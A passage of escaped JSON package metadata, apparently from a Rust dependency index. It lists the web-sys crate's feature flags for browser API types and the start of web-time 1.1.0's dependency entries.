arget\"],\"PresentationStyle\":[],\"ProcessingInstruction\":[\"CharacterData\",\"EventTarget\",\"Node\"],\"ProfileTimelineLayerRect\":[],\"ProfileTimelineMarker\":[],\"ProfileTimelineMessagePortOperationType\":[],\"ProfileTimelineStackFrame\":[],\"ProfileTimelineWorkerOperationType\":[],\"ProgressEvent\":[\"Event\"],\"ProgressEventInit\":[],\"PromiseNativeHandler\":[],\"PromiseRejectionEvent\":[\"Event\"],\"PromiseRejectionEventInit\":[],\"PublicKeyCredential\":[\"Credential\"],\"PublicKeyCredentialCreationOptions\":[],\"PublicKeyCredentialCreationOptionsJson\":[],\"PublicKeyCredentialDescriptor\":[],\"PublicKeyCredentialDescriptorJson\":[],\"PublicKeyCredentialEntity\":[],\"PublicKeyCredentialHints\":[],\"PublicKeyCredentialParameters\":[],\"PublicKeyCredentialRequestOptions\":[],\"PublicKeyCredentialRequestOptionsJson\":[],\"PublicKeyCredentialRpEntity\":[],\"PublicKeyCredentialType\":[],\"PublicKeyCredentialUserEntity\":[],\"PublicKeyCredentialUserEntityJson\":[],\"PushEncryptionKeyName\":[],\"PushEvent\":[\"Event\",\"ExtendableEvent\"],\"PushEventInit\":[],\"PushManager\":[],\"PushMessageData\":[],\"PushPermissionState\":[],\"PushSubscription\":[],\"PushSubscriptionInit\":[],\"PushSubscriptionJson\":[],\"PushSubscriptionKeys\":[],\"PushSubscriptionOptions\":[],\"PushSubscriptionOptionsInit\":[],\"QueryOptions\":[],\"QueuingStrategy\":[],\"QueuingStrategyInit\":[],\"RadioNodeList\":[\"NodeList\"],\"Range\":[],\"RcwnPerfStats\":[],\"RcwnStatus\":[],\"ReadableByteStreamController\":[],\"ReadableStream\":[],\"ReadableStreamByobReader\":[],\"ReadableStreamByobRequest\":[],\"ReadableStreamDefaultController\":[],\"ReadableStreamDefaultReader\":[],\"ReadableStreamGetReaderOptions\":[],\"ReadableStreamIteratorOptions\":[],\"ReadableStreamReadResult\":[],\"ReadableStreamReaderMode\":[],\"ReadableStreamType\":[],\"ReadableWritablePair\":[],\"RecordingState\":[],\"ReferrerPolicy\":[],\"RegisterRequest\":[],\"RegisterResponse\":[],\"RegisteredKey\":[],\"RegistrationOptions\":[],\"RegistrationResponseJson\":[],\"Request\":[],\"RequestCache\":[],\"RequestCredentials\":[],\"RequestDestination\":[],\"RequestDeviceOptions\":[],\"RequestInit\":[],\"RequestMediaKeySystemAccessNotification\":[],\"RequestMode\":[],\"RequestRedirect\":[],\"ResidentKeyRequirement\":[],\"ResizeObserver\":[],\"ResizeObserverBoxOptions\":[],\"ResizeObserverEntry\":[],\"ResizeObserverOptions\":[],\"ResizeObserverSize\":[],\"ResizeQuality\":[],\"Response\":[],\"ResponseInit\":[],\"ResponseType\":[],\"RsaHashedImportParams\":[],\"RsaOaepParams\":[],\"RsaOtherPrimesInfo\":[],\"RsaPssParams\":[],\"RtcAnswerOptions\":[],\"RtcBundlePolicy\":[],\"RtcCertificate\":[],\"RtcCertificateExpiration\":[],\"RtcCodecStats\":[],\"RtcConfiguration\":[],\"RtcDataChannel\":[\"EventTarget\"],\"RtcDataChannelEvent\":[\"Event\"],\"RtcDataChannelEventInit\":[],\"RtcDataChannelInit\":[],\"RtcDataChannelState\":[],\"RtcDataChannelType\":[],\"RtcDegradationPreference\":[],\"RtcEncodedAudioFrame\":[],\"RtcEncodedAudioFrameMetadata\":[],\"RtcEncodedAudioFrameOptions\":[],\"RtcEncodedVideoFrame\":[],\"RtcEncodedVideoFrameMetadata\":[],\"RtcEncodedVideoFrameOptions\":[],\"RtcEncodedVideoFrameType\":[],\"RtcFecParameters\":[],\"RtcIceCandidate\":[],\"RtcIceCandidateInit\":[],\"RtcIceCandidatePairStats\":[],\"RtcIceCandidateStats\":[],\"RtcIceComponentStats\":[],\"RtcIceConnectionState\":[],\"RtcIceCredentialType\":[],\"RtcIceGatheringState\":[],\"RtcIceServer\":[],\"RtcIceTransportPolicy\":[],\"RtcIdentityAssertion\":[],\"RtcIdentityAssertionResult\":[],\"RtcIdentityProvider\":[],\"RtcIdentityProviderDetails\":[],\"RtcIdentityProviderOptions\":[],\"RtcIdentityProviderRegistrar\":[],\"RtcIdentityValidationResult\":[],\"RtcInboundRtpStreamStats\":[],\"RtcMediaStreamStats\":[],\"RtcMediaStreamTrackStats\":[],\"RtcOfferAnswerOptions\":[],\"RtcOfferOptions\":[],\"RtcOutboundRtpStreamStats\":[],\"RtcPeerConnection\":[\"EventTarget\"],\"RtcPeerConnectionIceErrorEvent\":[\"Event\"],\"RtcPeerConnectionIceEvent\":[\"Event\"],\"RtcPeerConnectionIceEventInit\":[],\"RtcPeerConnectionState\":[],\"RtcPriorityType\":[],\"RtcRtcpParameters\":[],\"RtcRtpCapabilities\":[],\"RtcRtpCodecCapability\":[],\"RtcRtpCodecParameters\":[],\"RtcRtpContributingSource\":[],\"RtcRtpEncodingParameters\":[],\"RtcRtpHeaderExtensionCapability\":[],\"RtcRtpHeaderExtensionParameters\":[],\"RtcRtpParameters\":[],\"RtcRtpReceiver\":[],\"RtcRtpScriptTransform\":[],\"RtcRtpScriptTransformer\":[\"EventTarget\"],\"RtcRtpSender\":[],\"RtcRtpSourceEntry\":[],\"RtcRtpSourceEntryType\":[],\"RtcRtpSynchronizationSource\":[],\"RtcRtpTransceiver\":[],\"RtcRtpTransceiverDirection\":[],\"RtcRtpTransceiverInit\":[],\"RtcRtxParameters\":[],\"RtcSdpType\":[],\"RtcSessionDescription\":[],\"RtcSessionDescriptionInit\":[],\"RtcSignalingState\":[],\"RtcStats\":[],\"RtcStatsIceCandidatePairState\":[],\"RtcStatsIceCandidateType\":[],\"RtcStatsReport\":[],\"RtcStatsReportInternal\":[],\"RtcStatsType\":[],\"RtcTrackEvent\":[\"Event\"],\"RtcTrackEventInit\":[],\"RtcTransformEvent\":[\"Event\"],\"RtcTransportStats\":[],\"RtcdtmfSender\":[\"EventTarget\"],\"RtcdtmfToneChangeEvent\":[\"Event\"],\"RtcdtmfToneChangeEventInit\":[],\"RtcrtpContributingSourceStats\":[],\"RtcrtpStreamStats\":[],\"SFrameTransform\":[\"EventTarget\"],\"SFrameTransformErrorEvent\":[\"Event\"],\"SFrameTransformErrorEventInit\":[],\"SFrameTransformErrorEventType\":[],\"SFrameTransformOptions\":[],\"SFrameTransformRole\":[],\"SaveFilePickerOptions\":[],\"Scheduler\":[],\"SchedulerPostTaskOptions\":[],\"Scheduling\":[],\"Screen\":[\"EventTarget\"],\"ScreenColorGamut\":[],\"ScreenDetailed\":[\"EventTarget\",\"Screen\"],\"ScreenDetails\":[\"EventTarget\"],\"ScreenLuminance\":[],\"ScreenOrientation\":[\"EventTarget\"],\"ScriptProcessorNode\":[\"AudioNode\",\"EventTarget\"],\"ScrollAreaEvent\":[\"Event\",\"UiEvent\"],\"ScrollBehavior\":[],\"ScrollBoxObject\":[],\"ScrollIntoViewContainer\":[],\"ScrollIntoViewOptions\":[],\"ScrollLogicalPosition\":[],\"ScrollOptions\":[],\"ScrollRestoration\":[],\"ScrollSetting\":[],\"ScrollState\":[],\"ScrollToOptions\":[],\"ScrollViewChangeEventInit\":[],\"SecurityPolicyViolationEvent\":[\"Event\"],\"SecurityPolicyViolationEventDisposition\":[],\"SecurityPolicyViolationEventInit\":[],\"Selection\":[],\"SelectionMode\":[],\"Serial\":[\"EventTarget\"],\"SerialInputSignals\":[],\"SerialOptions\":[],\"SerialOutputSignals\":[],\"SerialPort\":[\"EventTarget\"],\"SerialPortFilter\":[],\"SerialPortInfo\":[],\"SerialPortRequestOptions\":[],\"ServerSocketOptions\":[],\"ServiceWorker\":[\"EventTarget\"],\"ServiceWorkerContainer\":[\"EventTarget\"],\"ServiceWorkerGlobalScope\":[\"EventTarget\",\"WorkerGlobalScope\"],\"ServiceWorkerRegistration\":[\"EventTarget\"],\"ServiceWorkerState\":[],\"ServiceWorkerUpdateViaCache\":[],\"ShadowRoot\":[\"DocumentFragment\",\"EventTarget\",\"Node\"],\"ShadowRootInit\":[],\"ShadowRootMode\":[],\"ShareData\":[],\"SharedWorker\":[\"EventTarget\"],\"SharedWorkerGlobalScope\":[\"EventTarget\",\"WorkerGlobalScope\"],\"SignResponse\":[],\"SocketElement\":[],\"SocketOptions\":[],\"SocketReadyState\":[],\"SocketsDict\":[],\"SourceBuffer\":[\"EventTarget\"],\"SourceBufferAppendMode\":[],\"SourceBufferList\":[\"EventTarget\"],\"SpeechGrammar\":[],\"SpeechGrammarList\":[],\"SpeechRecognition\":[\"EventTarget\"],\"SpeechRecognitionAlternative\":[],\"SpeechRecognitionError\":[\"Event\"],\"SpeechRecognitionErrorCode\":[],\"SpeechRecognitionErrorInit\":[],\"SpeechRecognitionEvent\":[\"Event\"],\"SpeechRecognitionEventInit\":[],\"SpeechRecognitionResult\":[],\"SpeechRecognitionResultList\":[],\"SpeechSynthesis\":[\"EventTarget\"],\"SpeechSynthesisErrorCode\":[],\"SpeechSynthesisErrorEvent\":[\"Event\",\"SpeechSynthesisEvent\"],\"SpeechSynthesisErrorEventInit\":[],\"SpeechSynthesisEvent\":[\"Event\"],\"SpeechSynthesisEventInit\":[],\"SpeechSynthesisUtterance\":[\"EventTarget\"],\"SpeechSynthesisVoice\":[],\"StereoPannerNode\":[\"AudioNode\",\"EventTarget\"],\"StereoPannerOptions\":[],\"Storage\":[],\"StorageEstimate\":[],\"StorageEvent\":[\"Event\"],\"StorageEventInit\":[],\"StorageManager\":[],\"StorageType\":[],\"StreamPipeOptions\":[],\"StyleRuleChangeEventInit\":[],\"StyleSheet\":[],\"StyleSheetApplicableStateChangeEventInit\":[],\"StyleSheetChangeEventInit\":[],\"StyleSheetList\":[],\"SubmitEvent\":[\"Event\"],\"SubmitEventInit\":[],\"SubtleCrypto\":[],\"SupportedType\":[],\"SvcOutputMetadata\":[],\"SvgAngle\":[],\"SvgAnimateElement\":[\"Element\",\"EventTarget\",\"Node\",\"SvgAnimationElement\",\"SvgElement\"],\"SvgAnimateMotionElement\":[\"Element\",\"EventTarget\",\"Node\",\"SvgAnimationElement\",\"SvgElement\"],\"SvgAnimateTransformElement\":[\"Element\",\"EventTarget\",\"Node\",\"SvgAnimationElement\",\"SvgElement\"],\"SvgAnimatedAngle\":[],\"SvgAnimatedBoolean\":[],\"SvgAnimatedEnumeration\":[],\"SvgAnimatedInteger\":[],\"SvgAnimatedLength\":[],\"SvgAnimatedLengthList\":[],\"SvgAnimatedNumber\":[],\"SvgAnimatedNumberList\":[],\"SvgAnimatedPreserveAspectRatio\":[],\"SvgAnimatedRect\":[],\"SvgAnimatedString\":[],\"SvgAnimatedTransformList\":[],\"SvgAnimationElement\":[\"Element\",\"EventTarget\",\"Node\",\"SvgElement\"],\"SvgBoundingBoxOptions\":[],\"SvgCircleElement\":[\"Element\",\"EventTarget\",\"Node\",\"SvgElement\",\"SvgGeometryElement\",\"SvgGraphicsElement\"],\"SvgClipPathElement\":[\"Element\",\"EventTarget\",\"Node\",\"SvgElement\"],\"SvgComponentTransferFunctionElement\":[\"Element\",\"EventTarget\",\"Node\",\"SvgElement\"],\"SvgDefsElement\":[\"Element\",\"EventTarget\",\"Node\",\"SvgElement\",\"SvgGraphicsElement\"],\"SvgDescElement\":[\"Element\",\"EventTarget\",\"Node\",\"SvgElement\"],\"SvgElement\":[\"Element\",\"EventTarget\",\"Node\"],\"SvgEllipseElement\":[\"Element\",\"EventTarget\",\"Node\",\"SvgElement\",\"SvgGeometryElement\",\"SvgGraphicsElement\"],\"SvgFilterElement\":[\"Element\",\"EventTarget\",\"Node\",\"SvgElement\"],\"SvgForeignObjectElement\":[\"Element\",\"EventTarget\",\"Node\",\"SvgElement\",\"SvgGraphicsElement\"],\"SvgGeometryElement\":[\"Element\",\"EventTarget\",\"Node\",\"SvgElement\",\"SvgGraphicsElement\"],\"SvgGradientElement\":[\"Element\",\"EventTarget\",\"Node\",\"SvgElement\"],\"SvgGraphicsElement\":[\"Element\",\"EventTarget\",\"Node\",\"SvgElement\"],\"SvgImageElement\":[\"Element\",\"EventTarget\",\"Node\",\"SvgElement\",\"SvgGraphicsElement\"],\"SvgLength\":[],\"SvgLengthList\":[],\"SvgLineElement\":[\"Element\",\"EventTarget\",\"Node\",\"SvgElement\",\"SvgGeometryElement\",\"SvgGraphicsElement\"],\"SvgLinearGradientElement\":[\"Element\",\"EventTarget\",\"Node\",\"SvgElement\",\"SvgGradientElement\"],\"SvgMarkerElement\":[\"Element\",\"EventTarget\",\"Node\",\"SvgElement\"],\"SvgMaskElement\":[\"Element\",\"EventTarget\",\"Node\",\"SvgElement\"],\"SvgMatrix\":[],\"SvgMetadataElement\":[\"Element\",\"EventTarget\",\"Node\",\"SvgElement\"],\"SvgNumber\":[],\"SvgNumberList\":[],\"SvgPathElement\":[\"Element\",\"EventTarget\",\"Node\",\"SvgElement\",\"SvgGeometryElement\",\"SvgGraphicsElement\"],\"SvgPathSeg\":[],\"SvgPathSegArcAbs\":[\"SvgPathSeg\"],\"SvgPathSegArcRel\":[\"SvgPathSeg\"],\"SvgPathSegClosePath\":[\"SvgPathSeg\"],\"SvgPathSegCurvetoCubicAbs\":[\"SvgPathSeg\"],\"SvgPathSegCurvetoCubicRel\":[\"SvgPathSeg\"],\"SvgPathSegCurvetoCubicSmoothAbs\":[\"SvgPathSeg\"],\"SvgPathSegCurvetoCubicSmoothRel\":[\"SvgPathSeg\"],\"SvgPathSegCurvetoQuadraticAbs\":[\"SvgPathSeg\"],\"SvgPathSegCurvetoQuadraticRel\":[\"SvgPathSeg\"],\"SvgPathSegCurvetoQuadraticSmoothAbs\":[\"SvgPathSeg\"],\"SvgPathSegCurvetoQuadraticSmoothRel\":[\"SvgPathSeg\"],\"SvgPathSegLinetoAbs\":[\"SvgPathSeg\"],\"SvgPathSegLinetoHorizontalAbs\":[\"SvgPathSeg\"],\"SvgPathSegLinetoHorizontalRel\":[\"SvgPathSeg\"],\"SvgPathSegLinetoRel\":[\"SvgPathSeg\"],\"SvgPathSegLinetoVerticalAbs\":[\"SvgPathSeg\"],\"SvgPathSegLinetoVerticalRel\":[\"SvgPathSeg\"],\"SvgPathSegList\":[],\"SvgPathSegMovetoAbs\":[\"SvgPathSeg\"],\"SvgPathSegMovetoRel\":[\"SvgPathSeg\"],\"SvgPatternElement\":[\"Element\",\"EventTarget\",\"Node\",\"SvgElement\"],\"SvgPoint\":[],\"SvgPointList\":[],\"SvgPolygonElement\":[\"Element\",\"EventTarget\",\"Node\",\"SvgElement\",\"SvgGeometryElement\",\"SvgGraphicsElement\"],\"SvgPolylineElement\":[\"Element\",\"EventTarget\",\"Node\",\"SvgElement\",\"SvgGeometryElement\",\"SvgGraphicsElement\"],\"SvgPreserveAspectRatio\":[],\"SvgRadialGradientElement\":[\"Element\",\"EventTarget\",\"Node\",\"SvgElement\",\"SvgGradientElement\"],\"SvgRect\":[],\"SvgRectElement\":[\"Element\",\"EventTarget\",\"Node\",\"SvgElement\",\"SvgGeometryElement\",\"SvgGraphicsElement\"],\"SvgScriptElement\":[\"Element\",\"EventTarget\",\"Node\",\"SvgElement\"],\"SvgSetElement\":[\"Element\",\"EventTarget\",\"Node\",\"SvgAnimationElement\",\"SvgElement\"],\"SvgStopElement\":[\"Element\",\"EventTarget\",\"Node\",\"SvgElement\"],\"SvgStringList\":[],\"SvgStyleElement\":[\"Element\",\"EventTarget\",\"Node\",\"SvgElement\"],\"SvgSwitchElement\":[\"Element\",\"EventTarget\",\"Node\",\"SvgElement\",\"SvgGraphicsElement\"],\"SvgSymbolElement\":[\"Element\",\"EventTarget\",\"Node\",\"SvgElement\"],\"SvgTextContentElement\":[\"Element\",\"EventTarget\",\"Node\",\"SvgElement\",\"SvgGraphicsElement\"],\"SvgTextElement\":[\"Element\",\"EventTarget\",\"Node\",\"SvgElement\",\"SvgGraphicsElement\",\"SvgTextContentElement\",\"SvgTextPositioningElement\"],\"SvgTextPathElement\":[\"Element\",\"EventTarget\",\"Node\",\"SvgElement\",\"SvgGraphicsElement\",\"SvgTextContentElement\"],\"SvgTextPositioningElement\":[\"Element\",\"EventTarget\",\"Node\",\"SvgElement\",\"SvgGraphicsElement\",\"SvgTextContentElement\"],\"SvgTitleElement\":[\"Element\",\"EventTarget\",\"Node\",\"SvgElement\"],\"SvgTransform\":[],\"SvgTransformList\":[],\"SvgUnitTypes\":[],\"SvgUseElement\":[\"Element\",\"EventTarget\",\"Node\",\"SvgElement\",\"SvgGraphicsElement\"],\"SvgViewElement\":[\"Element\",\"EventTarget\",\"Node\",\"SvgElement\"],\"SvgZoomAndPan\":[],\"SvgaElement\":[\"Element\",\"EventTarget\",\"Node\",\"SvgElement\",\"SvgGraphicsElement\"],\"SvgfeBlendElement\":[\"Element\",\"EventTarget\",\"Node\",\"SvgElement\"],\"SvgfeColorMatrixElement\":[\"Element\",\"EventTarget\",\"Node\",\"SvgElement\"],\"SvgfeComponentTransferElement\":[\"Element\",\"EventTarget\",\"Node\",\"SvgElement\"],\"SvgfeCompositeElement\":[\"Element\",\"EventTarget\",\"Node\",\"SvgElement\"],\"SvgfeConvolveMatrixElement\":[\"Element\",\"EventTarget\",\"Node\",\"SvgElement\"],\"SvgfeDiffuseLightingElement\":[\"Element\",\"EventTarget\",\"Node\",\"SvgElement\"],\"SvgfeDisplacementMapElement\":[\"Element\",\"EventTarget\",\"Node\",\"SvgElement\"],\"SvgfeDistantLightElement\":[\"Element\",\"EventTarget\",\"Node\",\"SvgElement\"],\"SvgfeDropShadowElement\":[\"Element\",\"EventTarget\",\"Node\",\"SvgElement\"],\"SvgfeFloodElement\":[\"Element\",\"EventTarget\",\"Node\",\"SvgElement\"],\"SvgfeFuncAElement\":[\"Element\",\"EventTarget\",\"Node\",\"SvgComponentTransferFunctionElement\",\"SvgElement\"],\"SvgfeFuncBElement\":[\"Element\",\"EventTarget\",\"Node\",\"SvgComponentTransferFunctionElement\",\"SvgElement\"],\"SvgfeFuncGElement\":[\"Element\",\"EventTarget\",\"Node\",\"SvgComponentTransferFunctionElement\",\"SvgElement\"],\"SvgfeFuncRElement\":[\"Element\",\"EventTarget\",\"Node\",\"SvgComponentTransferFunctionElement\",\"SvgElement\"],\"SvgfeGaussianBlurElement\":[\"Element\",\"EventTarget\",\"Node\",\"SvgElement\"],\"SvgfeImageElement\":[\"Element\",\"EventTarget\",\"Node\",\"SvgElement\"],\"SvgfeMergeElement\":[\"Element\",\"EventTarget\",\"Node\",\"SvgElement\"],\"SvgfeMergeNodeElement\":[\"Element\",\"EventTarget\",\"Node\",\"SvgElement\"],\"SvgfeMorphologyElement\":[\"Element\",\"EventTarget\",\"Node\",\"SvgElement\"],\"SvgfeOffsetElement\":[\"Element\",\"EventTarget\",\"Node\",\"SvgElement\"],\"SvgfePointLightElement\":[\"Element\",\"EventTarget\",\"Node\",\"SvgElement\"],\"SvgfeSpecularLightingElement\":[\"Element\",\"EventTarget\",\"Node\",\"SvgElement\"],\"SvgfeSpotLightElement\":[\"Element\",\"EventTarget\",\"Node\",\"SvgElement\"],\"SvgfeTileElement\":[\"Element\",\"EventTarget\",\"Node\",\"SvgElement\"],\"SvgfeTurbulenceElement\":[\"Element\",\"EventTarget\",\"Node\",\"SvgElement\"],\"SvggElement\":[\"Element\",\"EventTarget\",\"Node\",\"SvgElement\",\"SvgGraphicsElement\"],\"SvgmPathElement\":[\"Element\",\"EventTarget\",\"Node\",\"SvgElement\"],\"SvgsvgElement\":[\"Element\",\"EventTarget\",\"Node\",\"SvgElement\",\"SvgGraphicsElement\"],\"SvgtSpanElement\":[\"Element\",\"EventTarget\",\"Node\",\"SvgElement\",\"SvgGraphicsElement\",\"SvgTextContentElement\",\"SvgTextPositioningElement\"],\"TaskController\":[\"AbortController\"],\"TaskControllerInit\":[],\"TaskPriority\":[],\"TaskPriorityChangeEvent\":[\"Event\"],\"TaskPriorityChangeEventInit\":[],\"TaskSignal\":[\"AbortSignal\",\"EventTarget\"],\"TaskSignalAnyInit\":[],\"TcpReadyState\":[],\"TcpServerSocket\":[\"EventTarget\"],\"TcpServerSocketEvent\":[\"Event\"],\"TcpServerSocketEventInit\":[],\"TcpSocket\":[\"EventTarget\"],\"TcpSocketBinaryType\":[],\"TcpSocketErrorEvent\":[\"Event\"],\"TcpSocketErrorEventInit\":[],\"TcpSocketEvent\":[\"Event\"],\"TcpSocketEventInit\":[],\"Text\":[\"CharacterData\",\"EventTarget\",\"Node\"],\"TextDecodeOptions\":[],\"TextDecoder\":[],\"TextDecoderOptions\":[],\"TextEncoder\":[],\"TextMetrics\":[],\"TextTrack\":[\"EventTarget\"],\"TextTrackCue\":[\"EventTarget\"],\"TextTrackCueList\":[],\"TextTrackKind\":[],\"TextTrackList\":[\"EventTarget\"],\"TextTrackMode\":[],\"TimeEvent\":[\"Event\"],\"TimeRanges\":[],\"ToggleEvent\":[\"Event\"],\"ToggleEventInit\":[],\"TokenBinding\":[],\"TokenBindingStatus\":[],\"Touch\":[],\"TouchEvent\":[\"Event\",\"UiEvent\"],\"TouchEventInit\":[],\"TouchInit\":[],\"TouchList\":[],\"TrackEvent\":[\"Event\"],\"TrackEventInit\":[],\"TransformStream\":[],\"TransformStreamDefaultController\":[],\"Transformer\":[],\"TransitionEvent\":[\"Event\"],\"TransitionEventInit\":[],\"Transport\":[],\"TreeBoxObject\":[],\"TreeCellInfo\":[],\"TreeView\":[],\"TreeWalker\":[],\"U2f\":[],\"U2fClientData\":[],\"ULongRange\":[],\"UaDataValues\":[],\"UaLowEntropyJson\":[],\"UdpMessageEventInit\":[],\"UdpOptions\":[],\"UiEvent\":[\"Event\"],\"UiEventInit\":[],\"UnderlyingSink\":[],\"UnderlyingSource\":[],\"Url\":[],\"UrlSearchParams\":[],\"Usb\":[\"EventTarget\"],\"UsbAlternateInterface\":[],\"UsbConfiguration\":[],\"UsbConnectionEvent\":[\"Event\"],\"UsbConnectionEventInit\":[],\"UsbControlTransferParameters\":[],\"UsbDevice\":[],\"UsbDeviceFilter\":[],\"UsbDeviceRequestOptions\":[],\"UsbDirection\":[],\"UsbEndpoint\":[],\"UsbEndpointType\":[],\"UsbInTransferResult\":[],\"UsbInterface\":[],\"UsbIsochronousInTransferPacket\":[],\"UsbIsochronousInTransferResult\":[],\"UsbIsochronousOutTransferPacket\":[],\"UsbIsochronousOutTransferResult\":[],\"UsbOutTransferResult\":[],\"UsbPermissionDescriptor\":[],\"UsbPermissionResult\":[\"EventTarget\",\"PermissionStatus\"],\"UsbPermissionStorage\":[],\"UsbRecipient\":[],\"UsbRequestType\":[],\"UsbTransferStatus\":[],\"UserActivation\":[],\"UserProximityEvent\":[\"Event\"],\"UserProximityEventInit\":[],\"UserVerificationRequirement\":[],\"ValidityState\":[],\"ValueEvent\":[\"Event\"],\"ValueEventInit\":[],\"VideoColorPrimaries\":[],\"VideoColorSpace\":[],\"VideoColorSpaceInit\":[],\"VideoConfiguration\":[],\"VideoDecoder\":[],\"VideoDecoderConfig\":[],\"VideoDecoderInit\":[],\"VideoDecoderSupport\":[],\"VideoEncoder\":[],\"VideoEncoderConfig\":[],\"VideoEncoderEncodeOptions\":[],\"VideoEncoderInit\":[],\"VideoEncoderSupport\":[],\"VideoFacingModeEnum\":[],\"VideoFrame\":[],\"VideoFrameBufferInit\":[],\"VideoFrameCopyToOptions\":[],\"VideoFrameInit\":[],\"VideoMatrixCoefficients\":[],\"VideoPixelFormat\":[],\"VideoPlaybackQuality\":[],\"VideoStreamTrack\":[\"EventTarget\",\"MediaStreamTrack\"],\"VideoTrack\":[],\"VideoTrackList\":[\"EventTarget\"],\"VideoTransferCharacteristics\":[],\"ViewTransition\":[],\"VisibilityState\":[],\"VisualViewport\":[\"EventTarget\"],\"VoidCallback\":[],\"VrDisplay\":[\"EventTarget\"],\"VrDisplayCapabilities\":[],\"VrEye\":[],\"VrEyeParameters\":[],\"VrFieldOfView\":[],\"VrFrameData\":[],\"VrLayer\":[],\"VrMockController\":[],\"VrMockDisplay\":[],\"VrPose\":[],\"VrServiceTest\":[],\"VrStageParameters\":[],\"VrSubmitFrameResult\":[],\"VttCue\":[\"EventTarget\",\"TextTrackCue\"],\"VttRegion\":[],\"WakeLock\":[],\"WakeLockSentinel\":[\"EventTarget\"],\"WakeLockType\":[],\"WatchAdvertisementsOptions\":[],\"WaveShaperNode\":[\"AudioNode\",\"EventTarget\"],\"WaveShaperOptions\":[],\"WebGl2RenderingContext\":[],\"WebGlActiveInfo\":[],\"WebGlBuffer\":[],\"WebGlContextAttributes\":[],\"WebGlContextEvent\":[\"Event\"],\"WebGlContextEventInit\":[],\"WebGlFramebuffer\":[],\"WebGlPowerPreference\":[],\"WebGlProgram\":[],\"WebGlQuery\":[],\"WebGlRenderbuffer\":[],\"WebGlRenderingContext\":[],\"WebGlSampler\":[],\"WebGlShader\":[],\"WebGlShaderPrecisionFormat\":[],\"WebGlSync\":[],\"WebGlTexture\":[],\"WebGlTransformFeedback\":[],\"WebGlUniformLocation\":[],\"WebGlVertexArrayObject\":[],\"WebKitCssMatrix\":[\"DomMatrix\",\"DomMatrixReadOnly\"],\"WebSocket\":[\"EventTarget\"],\"WebSocketDict\":[],\"WebSocketElement\":[],\"WebTransport\":[],\"WebTransportBidirectionalStream\":[],\"WebTransportCloseInfo\":[],\"WebTransportCongestionControl\":[],\"WebTransportDatagramDuplexStream\":[],\"WebTransportDatagramStats\":[],\"WebTransportError\":[\"DomException\"],\"WebTransportErrorOptions\":[],\"WebTransportErrorSource\":[],\"WebTransportHash\":[],\"WebTransportOptions\":[],\"WebTransportReceiveStream\":[\"ReadableStream\"],\"WebTransportReceiveStreamStats\":[],\"WebTransportReliabilityMode\":[],\"WebTransportSendStream\":[\"WritableStream\"],\"WebTransportSendStreamOptions\":[],\"WebTransportSendStreamStats\":[],\"WebTransportStats\":[],\"WebglColorBufferFloat\":[],\"WebglCompressedTextureAstc\":[],\"WebglCompressedTextureAtc\":[],\"WebglCompressedTextureEtc\":[],\"WebglCompressedTextureEtc1\":[],\"WebglCompressedTexturePvrtc\":[],\"WebglCompressedTextureS3tc\":[],\"WebglCompressedTextureS3tcSrgb\":[],\"WebglDebugRendererInfo\":[],\"WebglDebugShaders\":[],\"WebglDepthTexture\":[],\"WebglDrawBuffers\":[],\"WebglLoseContext\":[],\"WebglMultiDraw\":[],\"WellKnownDirectory\":[],\"WgslLanguageFeatures\":[],\"WheelEvent\":[\"Event\",\"MouseEvent\",\"UiEvent\"],\"WheelEventInit\":[],\"WidevineCdmManifest\":[],\"Window\":[\"EventTarget\"],\"WindowClient\":[\"Client\"],\"Worker\":[\"EventTarget\"],\"WorkerDebuggerGlobalScope\":[\"EventTarget\"],\"WorkerGlobalScope\":[\"EventTarget\"],\"WorkerLocation\":[],\"WorkerNavigator\":[],\"WorkerOptions\":[],\"WorkerType\":[],\"Worklet\":[],\"WorkletGlobalScope\":[],\"WorkletOptions\":[],\"WritableStream\":[],\"WritableStreamDefaultController\":[],\"WritableStreamDefaultWriter\":[],\"WriteCommandType\":[],\"WriteParams\":[],\"XPathExpression\":[],\"XPathNsResolver\":[],\"XPathResult\":[],\"XmlDocument\":[\"Document\",\"EventTarget\",\"Node\"],\"XmlHttpRequest\":[\"EventTarget\",\"XmlHttpRequestEventTarget\"],\"XmlHttpRequestEventTarget\":[\"EventTarget\"],\"XmlHttpRequestResponseType\":[],\"XmlHttpRequestUpload\":[\"EventTarget\",\"XmlHttpRequestEventTarget\"],\"XmlSerializer\":[],\"XrBoundedReferenceSpace\":[\"EventTarget\",\"XrReferenceSpace\",\"XrSpace\"],\"XrEye\":[],\"XrFrame\":[],\"XrHand\":[],\"XrHandJoint\":[],\"XrHandedness\":[],\"XrInputSource\":[],\"XrInputSourceArray\":[],\"XrInputSourceEvent\":[\"Event\"],\"XrInputSourceEventInit\":[],\"XrInputSourcesChangeEvent\":[\"Event\"],\"XrInputSourcesChangeEventInit\":[],\"XrJointPose\":[\"XrPose\"],\"XrJointSpace\":[\"EventTarget\",\"XrSpace\"],\"XrLayer\":[\"EventTarget\"],\"XrPermissionDescriptor\":[],\"XrPermissionStatus\":[\"EventTarget\",\"PermissionStatus\"],\"XrPose\":[],\"XrReferenceSpace\":[\"EventTarget\",\"XrSpace\"],\"XrReferenceSpaceEvent\":[\"Event\"],\"XrReferenceSpaceEventInit\":[],\"XrReferenceSpaceType\":[],\"XrRenderState\":[],\"XrRenderStateInit\":[],\"XrRigidTransform\":[],\"XrSession\":[\"EventTarget\"],\"XrSessionEvent\":[\"Event\"],\"XrSessionEventInit\":[],\"XrSessionInit\":[],\"XrSessionMode\":[],\"XrSessionSupportedPermissionDescriptor\":[],\"XrSpace\":[\"EventTarget\"],\"XrSystem\":[\"EventTarget\"],\"XrTargetRayMode\":[],\"XrView\":[],\"XrViewerPose\":[\"XrPose\"],\"XrViewport\":[],\"XrVisibilityState\":[],\"XrWebGlLayer\":[\"EventTarget\",\"XrLayer\"],\"XrWebGlLayerInit\":[],\"XsltProcessor\":[],\"console\":[],\"css\":[],\"default\":[\"std\"],\"gpu_buffer_usage\":[],\"gpu_color_write\":[],\"gpu_map_mode\":[],\"gpu_shader_stage\":[],\"gpu_texture_usage\":[],\"std\":[\"wasm-bindgen/std\",\"js-sys/std\"]}}", "web-time_1.1.0": "{\"dependencies\":[{\"default_features\":false,\"features\":[\"alloc\"],\"kind\":\"dev\",\"name\":\"futures-channel\",\"req\":\"^0.3\",\"target\":\"cfg(all(target_family = \\\"wasm\\\", target_feature = \\\"atomics\\\"))\"},{\"default_features\":false,\"kind\":\"dev\",\"name\":\"futures-util\",\"req\":\"^0.3\",\"target\":\"cfg(all(target_family = \\\"wasm\\\", target_feature = 